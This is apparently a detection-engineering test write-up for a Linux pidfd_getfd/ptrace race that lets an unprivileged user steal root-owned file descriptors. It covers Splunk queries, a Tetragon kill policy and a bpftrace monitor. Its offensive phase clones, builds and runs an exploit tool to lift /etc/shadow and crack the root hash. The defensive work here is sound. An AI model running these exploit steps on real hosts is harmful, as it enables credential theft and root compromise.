EDR-T6463 - pidfd_getfd + ptrace - Read root files
EDR-T6463 - This test uses the FD-theft technique via the ptrace_may_access mm-NULL bypass and pidfd_getfd to read root-owned files as an unprivileged user. __ptrace_may_access() skips the dumpable check when task->mm == NULL. do_exit() runs exit_mm() before exit_files() — no mm, fds still there. pidfd_getfd(2) succeeds in that window when the caller's uid matches the target's. Reported by Qualys, fixed by Linus 2026-05-14. Jann Horn flagged the FD-theft shape in October 2020.
In this test, we use chage_pwn — pulls /etc/shadow. chage -l <user> calls spw_open(O_RDONLY) then setreuid(ruid, ruid). Both args set means uid=euid=suid=ruid: full drop. Race the exit, lift the shadow fd, crack the root hash offline.
OFFENSIVE PHASE:
@ TARGET_X:
$ whoami
vadminX
$ git clone https://github.com/0xdeadbeefnetwork/ssh-keysign-pwn/
$ cd ssh-keysign-pwn
$ make
$ ./chage_pwn rootDETECTION/DFIR PHASE:
Splunk - Kunai Runtime Security:
index=kunai host="targetX.edrmetry.local" command_line="./chage_pwn root" | top event_nameSplunk - Kunai Runtime Security:
index=kunai host="targetX.edrmetry.local" command_line="./chage_pwn root" event_name=ptraceSplunk - Kunai Runtime Security:
index=kunai host="targetX.edrmetry.local" "info.parent_task.name"=chage_pwnSplunk - Kunai Runtime Security:
index=kunai host="targetX.edrmetry.local" "info.parent_task.name"=chage_pwn command_line="chage -l root" | top event_nameSplunk - Kunai Runtime Security:
index=kunai host="targetX.edrmetry.local" "info.parent_task.name"=chage_pwn command_line="chage -l root" event_name=read_configPREVENTION/RESPONSE PHASE:
CLI:
@ TARGET_X:
# sysctl -w kernel.yama.ptrace_scope=2@ TARGET_X:
$ ./chage_pwn rootComment:
-
"Nevermind, it is written above by Sam, it ptrace restricing techniques so won't be enough.":
Switch back:
# sysctl -w kernel.yama.ptrace_scope=0Tetragon Runtime Security:
@ TARGET_X:
# vim tetra-EDR-T6463.yaml
apiVersion: cilium.io/v1alpha1
kind: TracingPolicy
metadata:
name: edr-t6463-pidfd-shadow-theft-kill
annotations:
description: "EDR-T6463 - pidfd_getfd /etc/shadow theft via chage mm-NULL race"
spec:
kprobes:
# ---------------------------------------------------------------
# KILL 1 — pidfd_getfd (core exploit primitive)
# Tight loop 30000 iteracji na fd range 3-32.
# ---------------------------------------------------------------
- call: "sys_pidfd_getfd"
syscall: true
args:
- index: 0
type: "int"
- index: 1
type: "int"
selectors:
- matchBinaries:
- operator: "NotIn"
values:
- "/usr/bin/runc"
- "/usr/bin/crun"
- "/usr/lib/systemd/systemd"
- "/usr/sbin/sshd"
matchActions:
- action: Sigkill
- action: Post
# tetra tp add tetra-EDR-T6463.yaml
# tetra tp list@ TARGET_X:
$ pwd
/home/vadminX/ssh-keysign-pwn
$ ./chage_pwn root@ TARGET_X:
CLI:
# tail -f /var/log/tetragon/tetragon.logBpftrace:
Profile before enforcement:
# bpftrace -e '
tracepoint:syscalls:sys_enter_pidfd_getfd
{
printf("%-6d %-20s pidfd=%-6d fd=%-6d\n",
pid,
comm,
args->pidfd,
args->fd);
}
tracepoint:syscalls:sys_exit_pidfd_getfd
{
printf("%-6d %-20s ret=%-6d\n",
pid,
comm,
args->ret);
}'